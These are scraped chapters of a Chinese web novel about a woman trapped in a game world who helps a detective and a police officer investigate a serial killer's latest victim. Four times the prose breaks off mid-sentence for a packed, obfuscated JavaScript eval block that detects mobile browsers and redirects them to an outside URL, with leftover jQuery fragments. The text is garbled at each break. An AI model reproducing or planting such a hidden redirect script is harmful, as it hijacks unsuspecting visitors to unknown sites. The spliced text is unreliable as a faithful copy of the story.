祝好没理会程述,靠在墙上,闭上眼睛装作在思考的模样,同时唤出系统打开控制面板,点开了剧情回放。
系统弹出提示:“请问要用50积分观看指定时段10分钟的剧情回顾吗?”
她选了“是”,又把时间拉到那晚从房间离开之后。
“剧情回放开始。”
随着提示音响起,她的眼前倏地陷入一片无法分割的黑色。
一瞬间,无措的呼吸,慌乱的脚步,悠长的走廊,繁杂的乱巷,还有身后那个幽灵般神出鬼没的黑影如数扑面而来,一切仿佛又回到那个黑沉沉的夜晚。
祝好感觉自己的身体在剧烈颤抖,她强忍住内心的恐惧,强迫自己镇定下来,把路线牢牢记在脑子里。
等剧情回放结束时,她猛地睁开眼,大口喘着气,脑门子上已经渗出一片细密的汗珠。
视野逐渐清晰,出现在眼前的却是程述那张讨人厌的脸,祝好回过神来,才发现自己不知什么时候紧张地捏住了他的衣角。
两人视线相
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000009|161731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
撞,程述猝然收回目光,直起腰把脸转到一旁,祝好也慌忙放开手,两人皆是一副什么也没发生过的样子。
祝好做了个深呼吸,等秦聿风抱着几瓶水回来时,她已经迅速在脑海中构建起了完整的路线图。
秦聿风把其中一瓶扔到程述怀里,又拧开一瓶递给她:“怎么样,记起什么了吗?”
祝好点点头,喝了口水,扶墙站了起来。
秦聿风重新把她背在背上,跟着她的指引在巷子里左拐右拐,终于找到了那栋筒子楼。
仰头望去,只见楼体外墙已经被岁月侵蚀得斑驳不堪,那些空洞的窗户仿若一双双黑洞洞的眼睛,沉默地凝视着他们。
沿着楼梯往上走,一股混合着霉菌和灰尘的味道扑面而来,跟那天晚上嗅到的一模一样。
哪怕这时正值盛夏正午,狭长的楼道依旧昏暗冷清,楼道的地板上散落着各种随意丢弃的杂物和垃圾,两旁就是各户人家的门。
祝好一个一个房间数过去,在一扇绿色的木门前叫住了秦聿风:“就是这儿。”
程述把祝好的拐杖放在墙边,从兜里掏出一副手套戴上,推开未上锁的房门,打开手电筒谨慎地向里面张望了一下,确认没有危险之后,才对着秦聿风勾了勾手。
祝好从秦聿风背上下来,拄着拐杖小心翼翼地跟在他们身后。
这里看起来是个狭小的单间,窗户被不透光的布遮住了。拉开帘子,这才看清了屋内的景象。
破旧的木桌上空无一物,墙上和地板上的塑料薄膜已然消失,只剩下一些胶印。很显然,黑色雨衣在祝好逃脱后又回来过,并且将整间屋子清理了一遍。
程述在屋里转了一圈,似乎是没找到什么有价值的线索,转头对祝好说了今天的第二句话:“你还能想起其他什么细节吗?”
祝好一手撑着拐杖,一手抵着额角,认真思索着。
关于那天晚上的回忆,她只依稀记得那个模糊的人影,窸窣作响的黑色雨衣,护目镜后那双冷漠的眼睛……可一切都像隔着一层塑料薄膜,看得极不真切。
要不是现在她身上的伤口还隐隐作痛,甚至会怀疑自己是做了个噩梦。
她无奈地摇了摇头:“能记起来的我都已经跟秦警官说过了。”
如果使用剧情回放,应该能想起不少东西,可惜积分已经用完了,暂时没办法使用这个功能。
她向秦聿风投去求助的目光,刚想着要夸他几句来提升好感度,秦聿风的手机就突然响了起来。
他转身走出楼道接起了电话,只剩下祝好和冷着一张脸的程述面面相觑,方寸大的斗室里气压瞬间降低。
也不知是吃错什么药——或许是觉得气氛太过尴尬,祝好清了清嗓,打算开口打破沉默:“那个……你跟秦警官是怎么认识的?”
系统里只有秦聿风的基础资料,如果要提升好感度,首先应该加深对他的了解。
程述眼珠子向下,斜乜她一眼:“关你什么事?”
祝好:“……”
此时此刻,她很想穿越回一分钟之前,给那个一时冲动的自己来上一耳光。
秦聿风突然急匆匆进了屋里:“我得去森林公园一趟,有人在那里发现了一具尸体,待会儿我会派人来这里看看能不能找到什么线索。”
说着他又转向程述:“老程,你要跟我去一趟吗?”
程述的语气毫无波澜:“那是你们警察的事,我去干什么。”
秦聿风没回答,只是拿起手机低头划拉片刻,打开一张照片递到他面前:“你先看看这个。”
程述不情不愿地瞟了一眼屏幕,立刻抢过手机仔细端详,脸色霎时沉了下来。
5. 第 5 章
森林公园与那片待拆的居民区相距不到五公里,秦聿风对这一带显然十分熟悉,绕开拥堵的路段,抄了近路,很快就把车开到了公园门口。
按照规定,公园一般不让车进去。保安十分尽责,接过秦聿风递来的警官证左右翻看,又掏出手机拍照留底。
趁着这当儿,祝好摁下车窗,瞥了一眼门口木牌上关于公园的介绍。
这个森林公园十年前才建成,是淮江市最大的公园之一,占地近六亩,一半是保留着原始形态的生态园林,一半建起了一些游乐设施,并向所有市民开放。
确认完秦聿风的身份后,保安终于开门放行。车穿过林木繁茂的甬道,停在一处草坪旁边。
草坪旁边是一条人造的塑胶跑道,看来这一片是供市民娱乐休闲的那部分。
秦聿风刚要拔下钥匙,又突然想起什么,转头对后座的祝好道:“祝小姐,你在车里等着吧。”
祝好连忙摇头:“我也想去看看。”
他下意识皱着眉拒绝:“这种场景可不是普通人能够承受的。”
程述打开车门,露出一个意味深长的笑:“想去就让她去呗,没准看见现场她还能记起些什么呢。”
祝好对他语气里的嘲讽置若罔闻,她看过成百上千部悬疑电影和关于大案要案的犯罪纪录片,自认为心理承受能力还算不错,况且或许能在现场找到些能过剧情的线索呢。
她随口扯了个谎:“其实我爸爸以前也是警察,我耳濡目染跟他学到不少东西,兴许能帮上忙。”
秦聿风闻言也没再多说什么,只是叮嘱了几句不要破坏现场之类,便扶着她下了车,把拐杖递到她手里。
警戒线外挤满了看热闹的群众和不知从哪儿嗅到了风声的媒体,快门声和闪光灯咔嚓咔嚓闪成一片,几名警员正忙着维护现场秩序,看到秦聿风,纷纷抬手跟他打招呼。
“秦队。”
秦聿风点点头,掀起警戒线就要往里走。警员看到程述,脸上闪过一丝诧异,却没有阻拦他,而是把拄着拐杖的祝好拦在警戒线外。
“小姐,这是案发现场,无关人员不得入内。”
秦聿风停下脚步,随口应道:“她是程先生的助手,让她进去吧。”
警员狐疑地上下扫量她一眼,还是给她递上了手套和鞋套。
祝好用拐杖撑住身体,艰难地穿好鞋套,一瘸一拐跟在秦聿风身后。
大概是担心引起恐慌,黄色的警戒线绕着草坪围了很大一圈,往里走了几十米才走到真正的案发现场。
祝好远远就看到一个年轻女人耷拉着脑袋跪坐在草坪中央,姿势十分怪异。
走近一些,才发现她身前的土壤里插着一个十字样式的木架,合十的双手被一根麻绳固定在木架上。
女人及肩的头发和吊带连衣裙被大雨淋湿,又被太阳烤得半干,这会儿全贴在皮肤上。
她的皮肤十分苍白,几乎没有一丝血色,指甲上刺眼的鲜红色指甲油更是十分刺眼。如果不是她胸口上那突兀的刀柄和被血染红一片的衣衫,祝好甚至会觉得那是一具人偶。
她低头看了眼自己手指上还没来得及卸掉的指甲油,胃里突然泛起一股酸涩,忍不住捂着嘴干呕了一声。
本以为看了那么多电影,对血浆横飞的场面已经司空见惯,没想到还是高估了自己——跟真实的凶杀案现场带来的震撼相比,那些假得不能再假的血浆片简直不值一提。
更别提女尸胸口上那把刀,差一点儿就插在她的身上。
秦聿风戴上手套,低头查看了尸体,面色凝重起来。他转头问程述:“你觉得是指甲油杀手做的吗?”
“仅凭这个现场没办法判断,不过如果真的是他,短短两天就对第二个受害者下手,似乎有些操之过急了。”
程述说完,又转头问一旁举着相机的刑事照相人员:“你们是最先进入现场的,在尸体旁边没有找到照片吗?”
刑事照相人员一脸懵:“什么照片?”
程述皱起眉,面露不悦:“是谁报的案?”
身旁的警员显然对这个突然空降又趾高气扬的男人有些不爽,刚想说些什么,就被秦聿风一个眼神怼了回去,只得不甘心地伸手指了指坐在阴凉处一个穿着反光马甲的老头儿:“报警的是公园的清洁工。今天下大雨,公园里没什么人,雨停了他来打扫卫生,在草坪上发现的尸体。”
秦聿风扬了扬下巴,叮嘱道:“去问问他发现尸体时有没有看到一张照片。”
警员应了一声,转身朝老头儿走去。
两个穿着白大褂的法医助理小心翼翼剪下捆住尸体双手的绳结放进物证袋里,把僵硬的尸体放在铺好的塑料布上。
秦聿风问:“温主任来了吗?”
其中一个法医回答:“温主任已经做完初步尸检了,说天气太热,先回车上休息去了。”
“这小子,也不知道怎么能当上法医主任的。”秦聿风捏着眉心,颇为头疼地叹了口气,问道:“初步尸检有什么结果?”
这边法医助理还在翻笔记本上的记录,程述就已经蹲下身有条不紊地检查着尸体,淡淡道:“尸僵非常坚硬,推测死亡时间在10小时以上。颈部有索沟,尚不明确是生前还是死后形成的。胸口处衣物有大量血迹,致命伤应该就是心脏这一刀。”
秦聿风“啧”了一声:“程大侦探,法医的活儿都让你干了,要不我跟局里提议把温珣给开了换你来吧。”
程述起身,面无表情道:“你知道我不会回去的。”
说话间,警员气喘吁吁地跑回来,抹了把额上的汗,对秦聿风道:“秦队,清洁工说没有看到什么照片。”
程述掐着腰环视了周围一圈:“那么大的雨,简直太适合抛尸了,什么痕迹都没留下,就算有照片,或许也被风吹走了吧。”
秦聿风跟他对了个眼神,微微叹了口气。
祝好听着他们的对话,若有所思摸了摸下巴:“秦警官,凶手是不是想让人尽快发现她?”
秦聿风闻言直起身子,饶有兴趣地看着她:“何以见得?”
“如果凶手不想让别人发现尸体,那没什么人去的生态园林区显然更适合抛尸,可他却选择把尸体摆在了经常有人来往的地方,目的就是引起大家的注意。”
她仔细思索一番,又道:“草坪上没有拖拽的痕迹,她应该是被人用扛着或者抱着的姿势带到这儿的。这么说来,凶手要么身材比较强壮,要么就不只一人。”
“不错嘛,祝小姐,没想到你还真有些了解。”秦聿风赞赏地点了点头,语气中的玩笑意味也收敛得干干净净。
没想到那么多电影电视剧没白看,祝好心里有些得意,嘴上还是谦虚道:“略懂皮毛而已,跟你的专业没法比。”
秦聿风没说什么,只是笑了笑,对她比了个大拇指。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000010|161731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
系统响起提示音:“与秦聿风的好感度+5,获得50积分。”
祝好突然有了一种不靠系统提示也能攻略NPC的错觉,内心不禁为自己鼓掌:奈斯!男人真好哄。
还没高兴多久,就听程述轻笑一声,略带嘲讽地扫了她一眼:“看了几部犯罪电影,学了几句台词就觉得自己很能行了?老秦,你平时对你的实习警员要求也那么低吗?”
祝好瞪了他一眼,这人是不是得了什么说一句好话就会暴毙而亡的怪病?
她实在不想跟他接近,拄着拐杖绕到了尸体的另一边。当她的眼神无意间扫过尸体的头发时,却突然发现了一丝不寻常,忙问:“秦警官,我可以靠近一些看看吗?”
秦聿风犹豫片刻,还是同意了:“你当心点,眼看手不动。”
祝好点点头,刚凑近一些,却被强烈的血腥味熏得又干呕了一声。
程述勾了下嘴角,语气讥诮:“怎么,不是你自己要凑近看的吗,这就受不了了?”
祝好忍住要吐出来的冲动,狠狠剜了他一眼,没理会他,转头问秦聿风:“秦警官,上回你是不是说过,指甲油杀手对受害者的偏好是像我这样留着中短发的女孩儿?”
秦聿风点了点头:“怎么了吗?”
祝好强忍着不适,端详着女尸的头发:“她的头发顺滑,保养得很好,而且看起来是不久前才刚染过色。能花时间把头发打理得那么好的女孩,一定很注重自己的外貌,可是她的发尾却参差不齐,就像是仓促间被人剪掉的,也就是说,她原本的头发应该比现在更长。”
程述闻言蹲下身,半信半疑地捻起女尸的一缕发丝仔细观察,表情逐渐凝固。
“被她说中了?”秦聿风幸灾乐祸地对着他挑了挑眉:“果然还是女孩子比较了解女孩子,我们这些大男人一时还真看不明白。”
接着又说出了自己的推测:“老程,会不会是因为祝小姐逃脱了,他才急着对第二个目标下手?哪怕对方根本不符合他的喜好。”
程述抽回目光,淡淡道:“没有证据一切都是瞎猜,你们先把尸体打包带回去做进一步检验吧。”
秦聿风对法医助理使了个眼色,法医助理点点头,打开尸袋准备把尸体装进去。
祝好胃里翻腾得难受,拄着拐杖走到警戒线外的树荫下,靠在一棵紫薇树的树干上休息,不远处两个警员的闲聊飘进她耳朵里:
“秦队带来的那个人是谁?”
“程述啊,你不认得他吗?”
“程述?噢,听说过,当年就是他差点儿破了指甲油杀手的案子吧。”
“对啊,可惜那件事之后……”
祝好往前挪了几步,有心再听清楚些,一颗撕开包装的糖突然递到她面前,她下意识抬起头,对上镜片后一双微微上挑的桃花眼。
系统响起提示音:“出现新的可攻略对象,是否要查看基础资料?”
祝好选了“是”,面板上就出现了对方的信息。
姓名:温珣
年龄:28
职业:法医
当前好感度:0
看来他就是刚才秦聿风说的法医主任温珣。
与秦聿风不同,温珣看起来要斯文许多,身上的白大褂和一副金色细边框的眼镜更是给他平添几分清冷和矜贵。
祝好心跳不为人知地停了一拍,看来这游戏的经费都用来给可攻略对象捏脸了啊!
6. 第 6 章
温珣眉眼含笑,问道:“第一次来案发现场吧?吃颗薄荷糖,可以缓解恶心。”
祝好接过糖放进嘴里,清甜冰冷的味道在舌尖蔓延开来,果然舒服不少。她抬头对温珣笑了笑:“谢谢你,温主任。”
温珣也抿嘴一笑算是回应:“你认得我?我看到你从案发现场出来,你是新来的实习警员吗?”
祝好顿了顿,脑子转得飞快:“我叫祝好,是程述的助手,刚刚听秦警官提起过你。”
“祝好,真是个好名字。”他话锋一转:“不过,当程述的助手一定很辛苦吧?”
他的语气里带了些同情,潜台词似乎是“世界上那么多份工作可以选,你怎么就偏偏要这么折磨自己呢”。
看来程述是公认的难相处。
祝好控制不住自己的好奇心,忍不住问:“你认识他?”
她把声音压得很低,像是在打听什么见不得人的事。
温珣潦草地点点头:“他跟我同一年进的警局。”
他的回答十分简洁明了,似乎并不想过多谈论关于程述的话题,指了指拐杖岔开话题:“你怎么受伤了?”
祝好叹了口气,把涂着指甲油的手伸到他面前晃了一下:“还不是那个指甲油杀手害的,差一点点你就得给我做尸检了。”
不得不说这指甲油质量还怪好的,牢牢扒着她的指甲盖上,身边没有卸甲水,她抠了半天也没弄下来,只能暂时先留着。
温珣倏地一愣,不可置信地看着她:“原来秦队让我化验的那个指甲油是你的。可是,经历了那样的事你还敢到案发现场来……不担心自己会受不了吗?”
祝好心说还不是那该死的系统给自己派发的任务,相较于让毫无恋爱经验的她去攻略像秦聿风和温珣这样的帅哥,找到真凶显然要更简单一些。
不过这话当然不能如此直白地说出来,她只能随意找了个借口:“我想看看自己能不能帮上什么忙,早点抓到那个凶手,毕竟——”
毕竟就像秦聿风说的,或许是因为她逃脱了,指甲油杀手才会急着对第二个人下手。
也就是说,如果那天晚上她没有脱身,这个女孩就不会死了。
“别这么想,错的是杀人的人,不是你。”温珣一双好看的桃花眼似乎看穿了她的心思,柔声安慰道。
“嗯。”她勉强扬了扬嘴角,泛起一个半酸不苦的笑容。
一阵微风拂过,吹起了温珣白大褂的衣角,满树的紫薇花随风簌簌而动,浅紫色的花瓣裹挟着香气纷纷扬扬飘落在他们身上。
这样浪漫的画面才是应该出现在乙游里的场景嘛。
温珣的目光掠过她的头顶,口吻轻柔:“有东西落在你头发上了,我帮你弄下来。”
这么贴心的举动,是能提升好感度的征兆吧?
祝好赶紧配合地点点头。
只见温珣从兜里掏出一双白手套戴上,然后从她头发上捏起了什么,在她眼前晃了晃:“你看。”
祝好愣了一下,颤声问道:“这是……什么?”
温珣耐心解释:“是一只香椿,也就是俗称的臭屁虫。”
祝好两眼一黑,下意识后退一步,却忘了自己还拄着拐杖,一脚踏空、失去平衡,整个人向后倒去。
温珣见状赶紧扔掉臭屁虫,往前两步稳稳扶住她:“抱歉,是不是吓到你了?”
系统响起提示音:“与温珣的好感度+5,获得50积分。”
什么玩意儿,这是同情分吗?
“温主任,别在这儿撩妹了,你的助手已经把尸体打包好了,赶紧回局里做进一步的尸检。”听到动静的秦聿风朝他们走来,身边还跟着一脸幸灾乐祸的程述。
“知道了。”温珣应了一声,扶着祝好站好:“祝小姐,方便留个联系方式吗?”
“联系方式?”惊魂未定的祝好下意识地摸了摸口袋,才发现自己根本没有手机,尴尬地找了个借口:“我手机丢了,还没来得及买新的呢。”
温珣看向程述,抿嘴淡淡一笑:“程大侦探连台新手机都不舍得买给助手吗?
程述双手插在口袋里,嘴角也泛起一抹戏谑的笑:“我听说温主任当了领导之后工资涨了不少啊,既然你那么大方,要不就送她一台吧。”
祝好一眼就看出这两人不对付,但是敌人的敌人就是朋友,她对温珣瞬间多了几分好感,刚想替他说几句话,就看他摘下手套,从口袋掏出一部手机递给她:“祝小姐,不嫌弃的话,这台手机你先拿去用吧。”
祝好刚从臭屁虫的惊吓中缓过神,对他这突如其来的举动有些不知所措,连忙摆手:“别别别,温主任,你别听他瞎说。”
“本来想把工作和生活分开,所以才买了两台手机,结果发现除了工作根本没人找我,这台手机就限制了。”温珣大方地笑了笑:“如果你要谢我,改天跟我一起吃个饭就好。”
祝好把头摇成拨浪鼓:“不行,我不能无缘无故收下那么贵重的东西……”
“真不懂事,温主任给你你就拿着呗,不然他都不愿回去干活了。”没等她把话说完,程述就用两只手指捏住手机,塞进了她手里:“不过温主任天天跟尸体打交道,这手机拿回去最好先扔到微波炉里消毒一下。”
祝好:……
此时此刻,她只觉得手里捧着的不是手机,而是一块烫手的山芋。
秦聿风适时出来打圆场:“祝小姐,你就收下吧,一台手机对温主任来说算不了什么。再说了,没有手机多不方便。”
那倒是,祝好也不好再说什么,只得收下手机,默默记下这份人情。
秦聿风兀自拉开程述的车门,把祝好扶到后座上,然后在程述嫌弃的目光中坐回副驾驶上,系上安全带:“没想到那么多年了,你跟温珣还是合不来。”
程述没好气:“你们上我车干嘛?”
秦聿风低头摁着手机:“我得回警局开个会,你送送我呗?”
程述朝着祝好偏了偏头:“那她怎么办?随便找个路口扔了?”
秦聿风像是才意识到这一点,把目光从屏幕上收回来,转头问祝好:“祝小姐,我把你送到医院的时候没在你身上找到任何相关的证件,系统中也查不到你的身份,你是淮江市本地人吗?”
祝好很想把自己无意间穿越进来这件事一股脑说出来,又觉得程述听完后会把她送到精神病院去,只好装起了失忆,摸着头上的绷带干巴巴笑了一下:“我也不记得了。”
“那你之后有什么打算?”
祝好也没什么想法,硬着头皮
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000011|161731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道:“我一个有手有脚的成年人,总会找到办法的。”
其实她心里也没什么底,不过刚来到这游戏世界两天就欠下了那么多人情,她实在不想再麻烦别人。
“我倒不是担心你的生存问题。”秦聿风道:“但是依我们对指甲油杀手的了解,他的性格相当自负。如果这事儿真的是他做的,他绝不会轻易放过侥幸逃脱的猎物,还是会找机会对你下手的。”
祝好愣了一下,她倒是没想过这茬儿,不自觉咽了下口水:“那、那怎么办?”
这个问题也把秦聿风难住了,他沉吟片刻,突然想到什么,用胳膊肘碰了碰程述:“诶,老程,你家阁楼是不是还空着?”
程述转过头,眼角眉梢写满了戒备:“你想干什么?”
秦聿风说:“要不……借她暂住几天呗。”
祝好:?
程述同样是一脸“这种话你怎么说得出口”的表情:“怎么不让她去你家住?”
“我倒是无所谓,但我家就一个单间,让个小姑娘跟我共处一室多不好。”秦聿风挑了挑眉:“再说了,有你保护她,我也比较放心。”
程述“嗤”了一声:“关我屁事?”
秦聿风回头看了祝好一眼,贴在他耳边悄悄说了几句什么。
程述听完后,食指在方向盘上有规律地敲打着,像是在揣摩什么。过了好半天,他才终于下定决心似的从牙缝中挤出一句话:“最多一个星期。”
祝好:?
就没有人想过要问问她的意见吗?
*
秦聿风在警局门口下了车,往前走了几步,还不忘回过头来叮嘱他们:“要好好相处哦。”
祝好:……
程述:……
车内的气压低得可怕。
虽然万分不情愿,但祝好身无分文,眼下确实也没别的地方可去,只得委屈自己寄人篱下。
跟自尊心比起来,生存显然更重要。
她对着驾驶座上顶着一头乱发的程述道:“你放心,我找到住的地方马上就会搬走,绝不会打扰你。”
程述头也不回,只是淡淡地“嗯”了一声。
颇有种热脸贴冷那啥的感觉。
祝好咬了咬嘴唇,又道:“房租我也会付的。”
“你拿什么付?”程述从后视镜中瞥了她一眼,语气讥诮:“先声明啊,你别想着以身相许,你这样的我可看不上。”
祝好默默捏紧了拳头,正当她盘算着要不要晚上趁他睡着时给他来上一刀,系统就突然出现了。
“宿主,你可别冲动,在游戏里杀人也是要负法律责任的。”
祝好深吸一口气:……行,她忍。
程述把车停在路边,带着她拐了几个弯,钻进一条巷子里。
巷子还算宽阔,斑驳的砖墙上层层叠叠贴满了“办|证”“贷款”“旺铺招租”之类的小广告,墙角处随意靠着几辆锈迹斑斑的自行车。
天色渐渐暗下来,路灯亮起昏暗的光。
“怎么还没到?”祝好抱着胳膊,一脸戒备地东张西望,生怕程述把自己给卖了。
程述像是有读心术一般,面无表情道:“放心吧,你身上这二两肉卖不了几个钱。”
祝好默默翻了个白眼。
7. 第 7 章
从巷子里出来,就看到一栋灰黄色外墙的居民楼,看样子有些年头了,比指甲油杀手囚禁自己那栋楼年轻不了多少。
刚踏进楼道,就听到二楼传来一阵犬吠。
楼道里弥漫着一股潮湿的霉味,灯泡看起来坏了挺久也没人修,昏昏暗暗的,台阶上糊着一层油腻腻的污垢。
然而祝好却觉得挺亲切,毕竟在穿进游戏之前,她住的也是这样的地方。
虽然这种筒子楼环境不太好,但邻居之间相处都很和睦,有什么事大家都愿意互相帮忙。
每层楼都只有两间房,顺着阶梯向上看,三楼的一扇门大敞着,有只白色的卷毛小狗被栓在门外,正对着程述不停吼叫。
程述嫌弃地啧了一声,把食指放在嘴唇上,示意小狗安静点儿,这不比划不要紧,一比划小狗嚷得更凶了。
祝好好奇地往里望了一眼,正好跟屋里一个正在看电视的卷发大妈对上眼神。
大妈的目光掠过她,落在她身旁的程述身上,两眼一瞪,立刻把手里握着的遥控器往茶几上一拍,气势汹汹地往门口走来。
祝好还没反应过来,眼前就一阵天旋地转,身体腾空而起,整个人被程述扛了在肩上。
“喂,你你你你……干什么呢……”
她大惊失色,挣扎着想要从他身上下来。
程述却没理会她的反抗,扛着她大步流星往楼上跑,把她未说完的话都颠成了颤音。
只听身后犬吠混合着大妈尖利的骂声响彻楼道:“程述!你别跑,这两个月的房租什么时候给我!”
程述当然没停。
傻子才停呢。
他一口气跑到顶楼,单手掏出钥匙打开门,闪身躲进屋里,“砰”一声把门关上反锁,这才把祝好从肩上放下来。
祝好身上的伤没好全乎,被他这一折腾,身子差点没散架。
她气鼓鼓地扶着拐杖,用眼神向他讨要一个解释。
他倒像个没事人似的,自顾自从冰箱里拿出一听冰啤酒,大剌剌往沙发上一靠,两条长腿交叠着搁在茶几上,就差把“爱咋咋地”四个字写在脸上。
不生气,不生气,气出病来无人替。
祝好气沉丹田,双手下压,默念了一遍静心口诀。
扫视屋内一周,入眼就是客厅深色的木地板和绿色的墙裙,微微发黄的天花板上挂着一盏玻璃吊灯。
客厅里除了一张棕色的皮沙发和柚木色的茶几外,还有一张堆满文件和资料的办公桌,桌上那台电脑看起来应该是整间屋里最值钱的东西了。
客厅左边是两个紧锁着门的房间,右边是开放式的厨房,跟厨房一墙之隔的就是卫生间。
整间屋子虽然略显凌乱,但整体还算干净。
不过祝好也只是暂住几天,并没有挑剔的资格。
她深吸一口气,摆出了一副寄人篱下时应有的客套笑脸:“程大侦探,请问我睡哪儿?”
程述懒洋洋地掀起眼皮看了她一眼,伸手往角落里的楼梯一指:“阁楼有张沙发,你这几天就睡那儿吧。”
说完没再理会她,拿起遥控器摁开那台29寸的老式彩电,拉开啤酒的拉环猛灌了一大口。
电视上播的就是白天在公园发现尸体的新闻。
虽然维持秩序的警员一再阻拦,摄像机还是捕捉到了一些零碎的画面,加上记者添油加醋的一番解说,将整件事渲染得惊悚又诡异。
程述拧起双眉,把频道切换到了一部黑白色调的外国谍战电影,撑着脑袋看了一会儿,才发现祝好还站在原地没动弹,扭扭捏捏不知在想些什么。
他拿起啤酒喝了一口,语气有些不耐烦:“又怎么了?”
祝好做了很久的心理建设被他突然一声打断,踌躇了片刻,才问:“能不能借我件衣服?”
今天在满是灰尘的拆迁房里待了半天,又在案发现场跟尸体近距离接触过,饶是她没什么洁癖,也没办法就这么穿着这身衣服睡觉。
顿了顿,她又补充了一句:“我其实无所谓,但是弄脏您家沙发不太好吧。”
程述轻笑一声,起身打开了其中一个房间的门。
半晌后,他从房间里出来,把一张薄毯、一张毛巾和一条粉红色的睡裙塞到她手里:“你先去洗澡吧。”
他坐回沙发上,看她还愣在原地没动弹,没好气道:“怎么,洗澡不需要我帮忙吧?”
祝好狠狠瞪了他一眼,单脚蹦跶进卫生间,火速将门给反锁了。
把自己收拾干净后,她看着那条粉红色的睡裙,八卦之心再次蠢蠢欲动。
女装?他家里为什么会有女装?
难道他已经有女朋友了?
如果他有女朋友了,那自己大摇大摆住进他家里算个什么事儿?
不,他不可能有女朋友,秦聿风应该不会坑自己的。
再说了,程述那么讨人厌的性格怎么可能有人喜欢?
还是说……
祝好脑子里打过一道闪——
他其实是个异装癖?
那这衣服自己到底还要不要穿?
她皱眉看着那条睡裙,满腹纠结,小心翼翼地举到鼻子下面仔细嗅了嗅。
幸亏上面没有什么奇怪的味道,只有一丝若有似无的木质香气。
抖开一看,睡裙上的折痕很明显,看起来已经在衣柜里放了许久。
她微微放下心来,就算他有女朋友,那也是前女友了,应该不至于把帐算到自己头上来。
她把睡裙套在身上,打开浴室门探头往外张望片刻,发现程述已经在沙发上睡着了,这才蹑手蹑脚地穿过客厅,抱着毯子一瘸一拐从咯吱作响的木阶梯爬上了阁楼。
摸开墙上的开关,暖黄色的灯光柔和地弥漫开来。
阁楼的天花板是斜顶的,空间逼仄,拥挤地摆放着两排书架和一张双人沙发。
她把毯子搭在沙发上,打开天窗和墙边的窗子。微凉的风穿堂而过,吹散了一丝沉闷。
借着昏暗的灯光,她随手从书架上拿起一本厚重的《犯罪心理画像》翻了翻。
书里的专业用词晦涩难懂,但一些案例读起来还挺有趣。
祝好靠在沙发上,把它当成推理小说看了没一会儿,就觉得眼皮子越来越沉,不知不觉就睡着了。
也不知道是不是因为秦聿风那句“有你保护她,我也比较放
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000012|161731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心”给了祝好些许安全感,这一夜她在程述家睡得还算安稳,直到被一阵急促的敲门声惊醒。
她浑身一颤,差点没从沙发上滚下来。睁眼望向窗外,才发现天光已经大亮。
敲门声还在继续,不过不管来人是谁,跟她都没关系。
她用枕头捂住耳朵,翻了个身打算继续睡。
然而敲门的人锲而不舍,程述似乎也没有要去开门的意思。
不得已,她只得从沙发上爬起来,艰难地踩着木阶梯来到一楼,单腿蹦到门边。
客厅里没有程述的身影,她轻轻敲了敲两个房间的门,均无人应答。
看来他并不在家。
祝好小心翼翼地透过猫眼向外看去,发现门外站着一个年轻女孩,秀丽的脸上写着焦躁不安。
她心一凛,完了,程述的女朋友真的找上门来了?
这门到底开不开?
开吧,如果让她看到男朋友家里平白无故多了个陌生女人,身上还穿着自己的睡衣,那岂不是跳进黄河也洗不清了。
不开吧,女孩却没有要离开的意思,一副不能进屋誓不罢休的模样。
纠结片刻,她决定事不关己高高挂起,回到阁楼里假装啥也没听到,等程述回来再让他自己解释。
这么想着,她小心翼翼往后挪了几步,裙角却带倒了靠在门边的拐杖。拐杖应声落地,砸在木地板上。
女孩听到屋里的动静,把门捶得更响了:“程述,快开门,我有急事找你!”
祝好汗如雨下,犹豫再三,还是硬着头皮把门打开了。
不出所料,女孩看到她,猛地皱起双眉,眼里惊疑不定。
她赶紧抢在女孩前面开口:“事情不是你想的那样,你听我解释!我不知道程述有女朋友了——”
嗯?怎么好像越抹越黑了。
她急得脑门上渗出细汗,语言系统差点宕机:“我我我不是那个意思,我只是、只是借住几天,我昨晚睡的是阁楼,他睡的是房间,我们什么也没发生!”
